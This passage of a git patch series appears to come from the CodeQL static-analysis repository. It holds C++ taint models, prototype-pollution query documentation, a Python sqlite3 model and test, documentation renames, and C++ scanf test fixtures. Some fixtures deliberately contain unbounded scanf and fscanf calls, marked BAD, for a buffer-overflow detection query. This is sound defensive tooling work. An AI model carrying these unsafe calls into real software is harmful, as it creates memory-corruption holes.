`std::string` functions `at` and `operator[]`. */ diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Swap.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Swap.qll index 9fb1f470022..09d89a8ed2e 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Swap.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Swap.qll @@ -15,3 +15,88 @@ private class Swap extends DataFlowFunction { output.isParameterDeref(0) } } + +/** + * The standard functions `std::string.swap` and `std::stringstream::swap`. + */ +private class StdStringSwap extends TaintFunction { + StdStringSwap() { + this.hasQualifiedName("std", "basic_string", "swap") or + this.hasQualifiedName("std", "basic_stringstream", "swap") + } + + override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { + // str1.swap(str2) + input.isQualifierObject() and + output.isParameterDeref(0) + or + input.isParameterDeref(0) and + output.isQualifierObject() + } +} + +/** + * The standard container `swap` functions. + */ +private class StdSequenceContainerSwap extends TaintFunction { + StdSequenceContainerSwap() { + this.hasQualifiedName("std", ["array", "vector", "deque", "list", "forward_list"], "swap") + } + + override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { + // container1.swap(container2) + input.isQualifierObject() and + output.isParameterDeref(0) + or + input.isParameterDeref(0) and + output.isQualifierObject() + } +} + +/** + * The standard set `swap` functions. + */ +private class StdSetSwap extends TaintFunction { + StdSetSwap() { this.hasQualifiedName("std", ["set", "unordered_set"], "swap") } + + override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { + // container1.swap(container2) + input.isQualifierObject() and + output.isParameterDeref(0) + or + input.isParameterDeref(0) and + output.isQualifierObject() + } +} + +/** + * The standard pair `swap` function. + */ +private class StdPairSwap extends TaintFunction { + StdPairSwap() { this.hasQualifiedName("std", "pair", "swap") } + + override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { + // container1.swap(container2) + input.isQualifierObject() and + output.isParameterDeref(0) + or + input.isParameterDeref(0) and + output.isQualifierObject() + } +} + +/** + * The standard map `swap` function. + */ +private class StdMapSwap extends TaintFunction { + StdMapSwap() { this.hasQualifiedName("std", ["map", "unordered_map"], "swap") } + + override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { + // container1.swap(container2) + input.isQualifierObject() and + output.isParameterDeref(0) + or + input.isParameterDeref(0) and + output.isQualifierObject() + } +} From d08efb4e47858879790d27d2add03c5c3398e47e Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 8 Dec 2020 19:50:13 +0000 Subject: [PATCH 0206/1241] C++: Combine the member swap models. --- .../code/cpp/models/implementations/Swap.qll | 88 ++++--------------- 1 file changed, 16 insertions(+), 72 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Swap.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Swap.qll index 09d89a8ed2e..d876f6b5055 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Swap.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Swap.qll @@ -2,7 +2,10 @@ import semmle.code.cpp.models.interfaces.DataFlow import semmle.code.cpp.models.interfaces.Taint /** - * The standard function `swap`. + * The standard function `swap`. A use of `swap` looks like this: + * ``` + * std::swap(obj1, obj2) + * ``` */ private class Swap extends DataFlowFunction { Swap() { this.hasQualifiedName("std", "swap") } @@ -17,82 +20,23 @@ private class Swap extends DataFlowFunction { } /** - * The standard functions `std::string.swap` and `std::stringstream::swap`. + * A `swap` member function that is used as follows: + * ``` + * obj1.swap(obj2) + * ``` */ -private class StdStringSwap extends TaintFunction { - StdStringSwap() { +private class MemberSwap extends TaintFunction { + MemberSwap() { this.hasQualifiedName("std", "basic_string", "swap") or - this.hasQualifiedName("std", "basic_stringstream", "swap") + this.hasQualifiedName("std", "basic_stringstream", "swap") or + this.hasQualifiedName("std", ["array", "vector", "deque", "list", "forward_list"], "swap") or + this.hasQualifiedName("std", ["set", "unordered_set"], "swap") or + this.hasQualifiedName("std", "pair", "swap") or + this.hasQualifiedName("std", ["map", "unordered_map"], "swap") or + this.hasQualifiedName("std", ["map", "unordered_map"], "swap") } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { - // str1.swap(str2) - input.isQualifierObject() and - output.isParameterDeref(0) - or - input.isParameterDeref(0) and - output.isQualifierObject() - } -} - -/** - * The standard container `swap` functions. - */ -private class StdSequenceContainerSwap extends TaintFunction { - StdSequenceContainerSwap() { - this.hasQualifiedName("std", ["array", "vector", "deque", "list", "forward_list"], "swap") - } - - override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { - // container1.swap(container2) - input.isQualifierObject() and - output.isParameterDeref(0) - or - input.isParameterDeref(0) and - output.isQualifierObject() - } -} - -/** - * The standard set `swap` functions. - */ -private class StdSetSwap extends TaintFunction { - StdSetSwap() { this.hasQualifiedName("std", ["set", "unordered_set"], "swap") } - - override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { - // container1.swap(container2) - input.isQualifierObject() and - output.isParameterDeref(0) - or - input.isParameterDeref(0) and - output.isQualifierObject() - } -} - -/** - * The standard pair `swap` function. - */ -private class StdPairSwap extends TaintFunction { - StdPairSwap() { this.hasQualifiedName("std", "pair", "swap") } - - override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { - // container1.swap(container2) - input.isQualifierObject() and - output.isParameterDeref(0) - or - input.isParameterDeref(0) and - output.isQualifierObject() - } -} - -/** - * The standard map `swap` function. - */ -private class StdMapSwap extends TaintFunction { - StdMapSwap() { this.hasQualifiedName("std", ["map", "unordered_map"], "swap") } - - override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { - // container1.swap(container2) input.isQualifierObject() and output.isParameterDeref(0) or From fd293d07d7cfed26d1ce53d28f4c5cce992da2cf Mon Sep 17 00:00:00 2001 From: Asger Feldthaus Date: Wed, 9 Dec 2020 09:58:52 +0000 Subject: [PATCH 0207/1241] JS: Address doc review --- javascript/change-notes/2020-11-25-prototype-pollution.md | 2 +- .../ql/src/Security/CWE-915/PrototypePollutingAssignment.ql | 3 ++- .../ql/src/Security/CWE-915/PrototypePollutingFunction.ql | 1 + .../ql/src/Security/CWE-915/PrototypePollutingMergeCall.ql | 1 + 4 files changed, 5 insertions(+), 2 deletions(-) diff --git a/javascript/change-notes/2020-11-25-prototype-pollution.md b/javascript/change-notes/2020-11-25-prototype-pollution.md index f945ae89332..e550c93fe20 100644 --- a/javascript/change-notes/2020-11-25-prototype-pollution.md +++ b/javascript/change-notes/2020-11-25-prototype-pollution.md @@ -6,6 +6,6 @@ lgtm,codescanning This highlights indirect modification of `Object.prototype` via an unsafe `merge` call taking a user-controlled object as argument. * The query previously named "Prototype pollution in utility function" (`js/prototype-pollution-utility`) has been renamed to "Prototype-polluting function". This query highlights the implementation of an unsafe `merge` function, to ensure a robust API is exposed downstream. - * The above queries have been moved to the Security/CWE-915 folder, and tagged with CWE-079, CWE-094, CWE-400, and CWE-915. + * The above queries have been moved to the Security/CWE-915 folder, and assigned the following tags: CWE-078, CWE-079, CWE-094, CWE-400, and CWE-915. * The query "Type confusion through parameter tampering" (`js/type-confusion-through-parameter-tampering`) now highlights ineffective prototype pollution checks that can be bypassed by type confusion. diff --git a/javascript/ql/src/Security/CWE-915/PrototypePollutingAssignment.ql b/javascript/ql/src/Security/CWE-915/PrototypePollutingAssignment.ql index 310e7b05830..cc611640527 100644 --- a/javascript/ql/src/Security/CWE-915/PrototypePollutingAssignment.ql +++ b/javascript/ql/src/Security/CWE-915/PrototypePollutingAssignment.ql @@ -1,7 +1,7 @@ /** * @name Prototype-polluting assignment * @description Modifying an object obtained via a user-controlled property name may - * lead to accidental modification of the built-in Object.prototype, + * lead to accidental mutation of the built-in Object prototype, * and possibly escalate to remote code execution or cross-site scripting. * @kind path-problem * @problem.severity warning @@ -9,6 +9,7 @@ * @id js/prototype-polluting-assignment * @tags security * external/cwe/cwe-078 + * external/cwe/cwe-079 * external/cwe/cwe-094 * external/cwe/cwe-400 * external/cwe/cwe-915 diff --git a/javascript/ql/src/Security/CWE-915/PrototypePollutingFunction.ql b/javascript/ql/src/Security/CWE-915/PrototypePollutingFunction.ql index e3fb4129749..f1dc8a33d27 100644 --- a/javascript/ql/src/Security/CWE-915/PrototypePollutingFunction.ql +++ b/javascript/ql/src/Security/CWE-915/PrototypePollutingFunction.ql @@ -8,6 +8,7 @@ * @id js/prototype-pollution-utility * @tags security * external/cwe/cwe-078 + * external/cwe/cwe-079 * external/cwe/cwe-094 * external/cwe/cwe-400 * external/cwe/cwe-915 diff --git a/javascript/ql/src/Security/CWE-915/PrototypePollutingMergeCall.ql b/javascript/ql/src/Security/CWE-915/PrototypePollutingMergeCall.ql index 7d541bb01d7..80a99563918 100644 --- a/javascript/ql/src/Security/CWE-915/PrototypePollutingMergeCall.ql +++ b/javascript/ql/src/Security/CWE-915/PrototypePollutingMergeCall.ql @@ -9,6 +9,7 @@ * @id js/prototype-pollution * @tags security * external/cwe/cwe-078 + * external/cwe/cwe-079 * external/cwe/cwe-094 * external/cwe/cwe-400 * external/cwe/cwe-915 From ed729a19638aa00113466296f550e87638d5408a Mon Sep 17 00:00:00 2001 From: Asger F Date: Wed, 9 Dec 2020 09:59:55 +0000 Subject: [PATCH 0208/1241] Apply suggestions from code review Co-authored-by: mc <42146119+mchammer01@users.noreply.github.com> --- javascript/change-notes/2020-11-25-prototype-pollution.md | 2 +- .../src/Security/CWE-915/PrototypePollutingAssignment.qhelp | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/javascript/change-notes/2020-11-25-prototype-pollution.md b/javascript/change-notes/2020-11-25-prototype-pollution.md index e550c93fe20..af0dad5ae0d 100644 --- a/javascript/change-notes/2020-11-25-prototype-pollution.md +++ b/javascript/change-notes/2020-11-25-prototype-pollution.md @@ -1,5 +1,5 @@ lgtm,codescanning -* Detection of prototype pollution has improved and the queries involved have been reorganized: +* We've improved the detection of prototype pollution, and the queries involved have been reorganized: * A new query "Prototype-polluting assignment" (`js/prototype-polluting-assignment`) has been added. This query highlights direct modifications of an object obtained via a user-controlled property name, which may accidentally alter `Object.prototype`. * The query previously named "Prototype pollution" (`js/prototype-pollution`) has been renamed to "Prototype-polluting merge call". diff --git a/javascript/ql/src/Security/CWE-915/PrototypePollutingAssignment.qhelp b/javascript/ql/src/Security/CWE-915/PrototypePollutingAssignment.qhelp index 4ba2e9dc2d2..b88457431bf 100644 --- a/javascript/ql/src/Security/CWE-915/PrototypePollutingAssignment.qhelp +++ b/javascript/ql/src/Security/CWE-915/PrototypePollutingAssignment.qhelp @@ -7,7 +7,7 @@

    Most JavaScript objects inherit the properties of the built-in Object.prototype object. Prototype pollution is a type of vulnerability in which an attacker is able to modify Object.prototype. - Since most objects inherit from the compromised Object.prototype, the attacker can use this + Since most objects inherit from the compromised Object.prototype object, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting.

    @@ -23,7 +23,7 @@

    Use an associative data structure that is resilient to untrusted key values, such as a Map. In some cases, a prototype-less object created with Object.create(null) - may be preferrable. + may be preferable.

    Alternatively, restrict the computed property name so it can't clash with a built-in property, either by From 767a246edcdebf196a8a9590ed290e102924739c Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Wed, 9 Dec 2020 11:13:24 +0100 Subject: [PATCH 0209/1241] Python: Add sqlite3 test --- .../library-tests/frameworks/stdlib/pep249.py | 8 ++++++++ 1 file changed, 8 insertions(+) create mode 100644 python/ql/test/experimental/library-tests/frameworks/stdlib/pep249.py diff --git a/python/ql/test/experimental/library-tests/frameworks/stdlib/pep249.py b/python/ql/test/experimental/library-tests/frameworks/stdlib/pep249.py new file mode 100644 index 00000000000..a5aa9a54f39 --- /dev/null +++ b/python/ql/test/experimental/library-tests/frameworks/stdlib/pep249.py @@ -0,0 +1,8 @@ +import sqlite3 +db = sqlite3.connect("example.db") + +# non standard +db.execute("some sql", (42,)) # $ MISSING: getSql="some sql" + +cursor = db.cursor() +cursor.execute("some sql", (42,)) # $ MISSING: getSql="some sql" From 36e8ef53eb8e8babe5a0306ae88f7128dcba3015 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Wed, 9 Dec 2020 11:16:09 +0100 Subject: [PATCH 0210/1241] Python: Model sqlite3 as SQL interface --- .../2020-12-09-add-sqlite3-model.md | 2 ++ .../src/semmle/python/frameworks/Stdlib.qll | 24 +++++++++++++++++++ .../library-tests/frameworks/stdlib/pep249.py | 2 +- 3 files changed, 27 insertions(+), 1 deletion(-) create mode 100644 python/change-notes/2020-12-09-add-sqlite3-model.md diff --git a/python/change-notes/2020-12-09-add-sqlite3-model.md b/python/change-notes/2020-12-09-add-sqlite3-model.md new file mode 100644 index 00000000000..c71dc4927e7 --- /dev/null +++ b/python/change-notes/2020-12-09-add-sqlite3-model.md @@ -0,0 +1,2 @@ +lgtm,codescanning +* Added model of `sqlite3` as SQL interface following PEP249, resulting in additional sinks for `py/sql-injection`. diff --git a/python/ql/src/semmle/python/frameworks/Stdlib.qll b/python/ql/src/semmle/python/frameworks/Stdlib.qll index 21050bc9c6f..13514a793b4 100644 --- a/python/ql/src/semmle/python/frameworks/Stdlib.qll +++ b/python/ql/src/semmle/python/frameworks/Stdlib.qll @@ -8,6 +8,7 @@ private import semmle.python.dataflow.new.DataFlow private import semmle.python.dataflow.new.TaintTracking private import semmle.python.dataflow.new.RemoteFlowSources private import semmle.python.Concepts +private import PEP249 /** Provides models for the Python standard library. */ private module Stdlib { @@ -1032,6 +1033,29 @@ private module Stdlib { override string getFormat() { result = "JSON" } } + + // --------------------------------------------------------------------------- + // sqlite3 + // --------------------------------------------------------------------------- + /** Gets a reference to the `sqlite3` module. */ + private DataFlow::Node sqlite3(DataFlow::TypeTracker t) { + t.start() and + result = DataFlow::importNode("sqlite3") + or + exists(DataFlow::TypeTracker t2 | result = sqlite3(t2).track(t2, t)) + } + + /** Gets a reference to the `sqlite3` module. */ + DataFlow::Node sqlite3() { result = sqlite3(DataFlow::TypeTracker::end()) } + + /** + * sqlite3 implements PEP 249, providing ways to execute SQL statements against a database. + * + * See https://devdocs.io/python~3.9/library/sqlite3 + */ + class Sqlite3 extends PEP249Module { + Sqlite3() { this = sqlite3() } + } } // --------------------------------------------------------------------------- diff --git a/python/ql/test/experimental/library-tests/frameworks/stdlib/pep249.py b/python/ql/test/experimental/library-tests/frameworks/stdlib/pep249.py index a5aa9a54f39..3e3492438c8 100644 --- a/python/ql/test/experimental/library-tests/frameworks/stdlib/pep249.py +++ b/python/ql/test/experimental/library-tests/frameworks/stdlib/pep249.py @@ -5,4 +5,4 @@ db = sqlite3.connect("example.db") db.execute("some sql", (42,)) # $ MISSING: getSql="some sql" cursor = db.cursor() -cursor.execute("some sql", (42,)) # $ MISSING: getSql="some sql" +cursor.execute("some sql", (42,)) # $ getSql="some sql" From 0ccfe4f135531b4e9f61d62a5ded848299a35f82 Mon Sep 17 00:00:00 2001 From: Max Schaefer Date: Wed, 9 Dec 2020 11:35:51 +0000 Subject: [PATCH 0211/1241] JavaScript: Teach autobuilder to include `codeql-javascript-*.json` files. --- .../extractor/src/com/semmle/js/extractor/AutoBuild.java | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/javascript/extractor/src/com/semmle/js/extractor/AutoBuild.java b/javascript/extractor/src/com/semmle/js/extractor/AutoBuild.java index 5ebe88d3584..398330acd59 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/AutoBuild.java +++ b/javascript/extractor/src/com/semmle/js/extractor/AutoBuild.java @@ -146,7 +146,8 @@ import com.semmle.util.trap.TrapWriter; * FileType#HTML} (currently ".htm", ".html", ".xhtm", ".xhtml", ".vue"). *

  • All YAML files, that is, files with one of the extensions supported by {@link * FileType#YAML} (currently ".raml", ".yaml", ".yml"). - *
  • Files with base name "package.json". + *
  • Files with base name "package.json" or "tsconfig.json", and files whose base name + * is of the form "codeql-javascript-*.json". *
  • JavaScript, JSON or YAML files whose base name starts with ".eslintrc". *
  • All extension-less files. * @@ -402,10 +403,12 @@ public class AutoBuild { for (FileType filetype : defaultExtract) for (String extension : filetype.getExtensions()) patterns.add("**/*" + extension); - // include .eslintrc files, package.json files, and tsconfig.json files + // include .eslintrc files, package.json files, tsconfig.json files, and + // codeql-javascript-*.json files patterns.add("**/.eslintrc*"); patterns.add("**/package.json"); patterns.add("**/tsconfig.json"); + patterns.add("**/codeql-javascript-*.json"); // include any explicitly specified extensions for (String extension : fileTypes.keySet()) patterns.add("**/*" + extension); From 70c5ce41c2a2164fcf1401ed94fedc59593dfdd4 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 9 Dec 2020 14:49:58 +0000 Subject: [PATCH 0212/1241] rename js-ts article --- ...zing-data-flow-and-tracking-tainted-data-in-python.rst | 2 +- ... analyzing-data-flow-in-javascript-and-typescript.rst} | 2 +- .../codeql-language-guides/codeql-for-javascript.rst | 4 ++-- .../data-flow-cheat-sheet-for-javascript.rst | 4 ++-- .../using-flow-labels-for-precise-data-flow-analysis.rst | 2 +- .../using-type-tracking-for-api-modeling.rst | 8 ++++---- .../writing-codeql-queries/about-data-flow-analysis.rst | 2 +- .../writing-codeql-queries/creating-path-queries.rst | 2 +- 8 files changed, 13 insertions(+), 13 deletions(-) rename docs/codeql/codeql-language-guides/{analyzing-data-flow-in-javascript.rst => analyzing-data-flow-in-javascript-and-typescript.rst} (99%) diff --git a/docs/codeql/codeql-language-guides/analyzing-data-flow-and-tracking-tainted-data-in-python.rst b/docs/codeql/codeql-language-guides/analyzing-data-flow-and-tracking-tainted-data-in-python.rst index 1757b125707..5d9d1eb844a 100644 --- a/docs/codeql/codeql-language-guides/analyzing-data-flow-and-tracking-tainted-data-in-python.rst +++ b/docs/codeql/codeql-language-guides/analyzing-data-flow-and-tracking-tainted-data-in-python.rst @@ -17,7 +17,7 @@ Taint tracking differs from basic data flow in that it considers non-value-prese For example, in the assignment ``dir = path + "/"``, if ``path`` is tainted then ``dir`` is also tainted, even though there is no data flow from ``path`` to ``path + "/"``. -Separate CodeQL libraries have been written to handle 'normal' data flow and taint tracking in :doc:`C/C++ `, :doc:`C# `, :doc:`Java `, and :doc:`JavaScript `. You can access the appropriate classes and predicates that reason about these different modes of data flow by importing the appropriate library in your query. +Separate CodeQL libraries have been written to handle 'normal' data flow and taint tracking in :doc:`C/C++ `, :doc:`C# `, :doc:`Java `, and :doc:`JavaScript `. You can access the appropriate classes and predicates that reason about these different modes of data flow by importing the appropriate library in your query. In Python analysis, we can use the same taint tracking library to model both 'normal' data flow and taint flow, but we are still able make the distinction between steps that preserve values and those that don't by defining additional data flow properties. For further information on data flow and taint tracking with CodeQL, see ":ref:`Introduction to data flow `." diff --git a/docs/codeql/codeql-language-guides/analyzing-data-flow-in-javascript.rst b/docs/codeql/codeql-language-guides/analyzing-data-flow-in-javascript-and-typescript.rst similarity index 99% rename from docs/codeql/codeql-language-guides/analyzing-data-flow-in-javascript.rst rename to docs/codeql/codeql-language-guides/analyzing-data-flow-in-javascript-and-typescript.rst index 37d25aff17c..7fc5ffd56af 100644 --- a/docs/codeql/codeql-language-guides/analyzing-data-flow-in-javascript.rst +++ b/docs/codeql/codeql-language-guides/analyzing-data-flow-in-javascript-and-typescript.rst @@ -1,4 +1,4 @@ -.. _analyzing-data-flow-in-javascript: +.. _analyzing-data-flow-in-javascript-and-typescript: Analyzing data flow in JavaScript and TypeScript ================================================ diff --git a/docs/codeql/codeql-language-guides/codeql-for-javascript.rst b/docs/codeql/codeql-language-guides/codeql-for-javascript.rst index 3739988abf2..812437fab8a 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-javascript.rst +++ b/docs/codeql/codeql-language-guides/codeql-for-javascript.rst @@ -11,7 +11,7 @@ Experiment and learn how to write effective and efficient queries for CodeQL dat basic-query-for-javascript-code codeql-library-for-javascript codeql-library-for-typescript - analyzing-data-flow-in-javascript + analyzing-data-flow-in-javascript-and-typescript using-flow-labels-for-precise-data-flow-analysis using-type-tracking-for-api-modeling abstract-syntax-tree-classes-for-working-with-javascript-and-typescript-programs @@ -23,7 +23,7 @@ Experiment and learn how to write effective and efficient queries for CodeQL dat - :doc:`CodeQL library for TypeScript `: When you're analyzing a TypeScript program, you can make use of the large collection of classes in the CodeQL library for TypeScript. -- :doc:`Analyzing data flow in JavaScript and TypeScript `: This topic describes how data flow analysis is implemented in the CodeQL libraries for JavaScript/TypeScript and includes examples to help you write your own data flow queries. +- :doc:`Analyzing data flow in JavaScript and TypeScript `: This topic describes how data flow analysis is implemented in the CodeQL libraries for JavaScript/TypeScript and includes examples to help you write your own data flow queries. - :doc:`Using flow labels for precise data flow analysis `: You can associate flow labels with each value tracked by the flow analysis to determine whether the flow contains potential vulnerabilities. diff --git a/docs/codeql/codeql-language-guides/data-flow-cheat-sheet-for-javascript.rst b/docs/codeql/codeql-language-guides/data-flow-cheat-sheet-for-javascript.rst index 85d5e8168fa..25bb80c38fe 100644 --- a/docs/codeql/codeql-language-guides/data-flow-cheat-sheet-for-javascript.rst +++ b/docs/codeql/codeql-language-guides/data-flow-cheat-sheet-for-javascript.rst @@ -36,12 +36,12 @@ This query reports flow paths which: - Step through variables, function calls, properties, strings, arrays, promises, exceptions, and steps added by `isAdditionalTaintStep `__. - End at a node matched by `isSink `__. -See also: "`Global data flow `__" and ":ref:`Creating path queries `." +See also: "`Global data flow `__" and ":ref:`Creating path queries `." DataFlow module --------------- -Use data flow nodes to match program elements independently of syntax. See also: ":doc:`Analyzing data flow in JavaScript and TypeScript `." +Use data flow nodes to match program elements independently of syntax. See also: ":doc:`Analyzing data flow in JavaScript and TypeScript `." Predicates in the ``DataFlow::`` module: diff --git a/docs/codeql/codeql-language-guides/using-flow-labels-for-precise-data-flow-analysis.rst b/docs/codeql/codeql-language-guides/using-flow-labels-for-precise-data-flow-analysis.rst index 8bdecad86c3..c2f93525341 100644 --- a/docs/codeql/codeql-language-guides/using-flow-labels-for-precise-data-flow-analysis.rst +++ b/docs/codeql/codeql-language-guides/using-flow-labels-for-precise-data-flow-analysis.rst @@ -9,7 +9,7 @@ Overview -------- You can use basic inter-procedural data-flow analysis and taint tracking as described in -":doc:`Analyzing data flow in JavaScript and TypeScript `" to check whether there is a path in +":doc:`Analyzing data flow in JavaScript and TypeScript `" to check whether there is a path in the data-flow graph from some source node to a sink node that does not pass through any sanitizer nodes. Another way of thinking about this is that it statically models the flow of data through the program, and associates a flag with every data value telling us whether it might have come from a diff --git a/docs/codeql/codeql-language-guides/using-type-tracking-for-api-modeling.rst b/docs/codeql/codeql-language-guides/using-type-tracking-for-api-modeling.rst index 3dc366bf909..9debe98ae99 100644 --- a/docs/codeql/codeql-language-guides/using-type-tracking-for-api-modeling.rst +++ b/docs/codeql/codeql-language-guides/using-type-tracking-for-api-modeling.rst @@ -11,8 +11,8 @@ The type-tracking library makes it possible to track values through properties a usually to recognize method calls and properties accessed on a specific type of object. This is an advanced topic and is intended for readers already familiar with the -`SourceNode `__ class as well as -`taint tracking `__. +`SourceNode `__ class as well as +`taint tracking `__. For TypeScript analysis also consider reading about `static type information `__ first. @@ -458,7 +458,7 @@ Here's an example that the model from this tutorial won't find: let wrapper = wrapDB(firebase.database()) wrapper.db.ref("forecast"); // <-- not found -This is an example of where `data-flow configurations `__ are more powerful. +This is an example of where `data-flow configurations `__ are more powerful. When to use type tracking ------------------------- @@ -491,7 +491,7 @@ Prefer type tracking when: Prefer data-flow configurations when: -- Tracking user-controlled data -- use `taint tracking `__. +- Tracking user-controlled data -- use `taint tracking `__. - Differentiating between different kinds of user-controlled data -- see ":doc:`Using flow labels for precise data flow analysis `." - Tracking transformations of a value through generic utility functions. - Tracking values through string manipulation. diff --git a/docs/codeql/writing-codeql-queries/about-data-flow-analysis.rst b/docs/codeql/writing-codeql-queries/about-data-flow-analysis.rst index 7bd3251dd06..71fd639069e 100644 --- a/docs/codeql/writing-codeql-queries/about-data-flow-analysis.rst +++ b/docs/codeql/writing-codeql-queries/about-data-flow-analysis.rst @@ -19,7 +19,7 @@ See the following tutorials for more information about analyzing data flow in sp - ":ref:`Analyzing data flow in C/C++ `" - ":ref:`Analyzing data flow in C# `" - ":ref:`Analyzing data flow in Java `" -- ":ref:`Analyzing data flow in JavaScript/TypeScript `" +- ":ref:`Analyzing data flow in JavaScript/TypeScript `" - ":ref:`Analyzing data flow and tracking tainted data in Python `" .. pull-quote:: diff --git a/docs/codeql/writing-codeql-queries/creating-path-queries.rst b/docs/codeql/writing-codeql-queries/creating-path-queries.rst index 943fd1275ba..af4a829e6a4 100644 --- a/docs/codeql/writing-codeql-queries/creating-path-queries.rst +++ b/docs/codeql/writing-codeql-queries/creating-path-queries.rst @@ -27,7 +27,7 @@ For more language-specific information on analyzing data flow, see: - ":ref:`Analyzing data flow in C/C++ `" - ":ref:`Analyzing data flow in C# `" - ":ref:`Analyzing data flow in Java `" -- ":ref:`Analyzing data flow in JavaScript/TypeScript `" +- ":ref:`Analyzing data flow in JavaScript/TypeScript `" - ":ref:`Analyzing data flow and tracking tainted data in Python `" From 732542adcb303e7fc7bf22acda64dd6baa884f99 Mon Sep 17 00:00:00 2001 From: Joe Farebrother Date: Wed, 9 Dec 2020 16:41:31 +0000 Subject: [PATCH 0213/1241] Add change note --- java/change-notes/2020-12-09-xxe-fp-fix.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 java/change-notes/2020-12-09-xxe-fp-fix.md diff --git a/java/change-notes/2020-12-09-xxe-fp-fix.md b/java/change-notes/2020-12-09-xxe-fp-fix.md new file mode 100644 index 00000000000..2ccf4bf369a --- /dev/null +++ b/java/change-notes/2020-12-09-xxe-fp-fix.md @@ -0,0 +1,4 @@ +lgtm,codescanning +* The query "Resolving XML external entity in user-controlled data" (`java/xxe`) has been improved to report fewer false positives when a `SAXParserFactory` is configured safely. + + From 80db155d54ad037486cd719c44ae78e42c8b2ae9 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Wed, 9 Dec 2020 16:43:46 +0000 Subject: [PATCH 0214/1241] C++: Fix example and test. --- .../Security/CWE/CWE-120/MemoryUnsafeFunctionScan.cpp | 7 ++++--- .../Security/CWE/semmle/tests/MemoryUnsafeFunctionScan.cpp | 7 ++++--- .../CWE/semmle/tests/MemoryUnsafeFunctionScan.expected | 2 +- 3 files changed, 9 insertions(+), 7 deletions(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-120/MemoryUnsafeFunctionScan.cpp b/cpp/ql/src/experimental/Security/CWE/CWE-120/MemoryUnsafeFunctionScan.cpp index 001f4da6028..e7394ffefc7 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-120/MemoryUnsafeFunctionScan.cpp +++ b/cpp/ql/src/experimental/Security/CWE/CWE-120/MemoryUnsafeFunctionScan.cpp @@ -13,9 +13,10 @@ int main(int argc, char **argv) char buf1[10]; scanf("%s", buf1); - // GOOD, length is specified. The length should be one less than the size of the buffer, since the last character is the NULL terminator. - char buf2[10]; - sscanf(buf2, "%9s"); + // GOOD, length is specified. The length should be one less than the size of the destination buffer, since the last character is the NULL terminator. + char buf2[20]; + char buf3[10]; + sscanf(buf2, "%9s", buf3); // BAD, do not use scanf without specifying a length first char file[10]; diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/semmle/tests/MemoryUnsafeFunctionScan.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/semmle/tests/MemoryUnsafeFunctionScan.cpp index f9ffc5e8687..640c2c7b77f 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/semmle/tests/MemoryUnsafeFunctionScan.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/semmle/tests/MemoryUnsafeFunctionScan.cpp @@ -13,9 +13,10 @@ int main(int argc, char **argv) char buf1[10]; scanf("%s", buf1); - // GOOD, length is specified - char buf2[10]; - sscanf(buf2, "%9s"); + // GOOD, length is specified. The length should be one less than the size of the destination buffer, since the last character is the NULL terminator. + char buf2[20]; + char buf3[10]; + sscanf(buf2, "%9s", buf3); // BAD, do not use scanf without specifying a length first char file[10]; diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/semmle/tests/MemoryUnsafeFunctionScan.expected b/cpp/ql/test/experimental/query-tests/Security/CWE/semmle/tests/MemoryUnsafeFunctionScan.expected index 701fd4320b0..fb6b0ba0752 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/semmle/tests/MemoryUnsafeFunctionScan.expected +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/semmle/tests/MemoryUnsafeFunctionScan.expected @@ -1,2 +1,2 @@ | MemoryUnsafeFunctionScan.cpp:14:5:14:9 | call to scanf | Dangerous use of one of the scanf functions | -| MemoryUnsafeFunctionScan.cpp:22:5:22:10 | call to fscanf | Dangerous use of one of the scanf functions | +| MemoryUnsafeFunctionScan.cpp:23:5:23:10 | call to fscanf | Dangerous use of one of the scanf functions | From 209191bb2464b935af5046d82aeca0e469c22dd6 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Wed, 9 Dec 2020 16:46:33 +0000 Subject: [PATCH 0215/1241] C++: Add another good example. --- .../CWE/semmle/tests/MemoryUnsafeFunctionScan.cpp | 14 ++++++++++++++ .../semmle/tests/MemoryUnsafeFunctionScan.expected | 5 +++-- 2 files changed, 17 insertions(+), 2 deletions(-) diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/semmle/tests/MemoryUnsafeFunctionScan.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/semmle/tests/MemoryUnsafeFunctionScan.cpp index 640c2c7b77f..09506cbc087 100644 --- 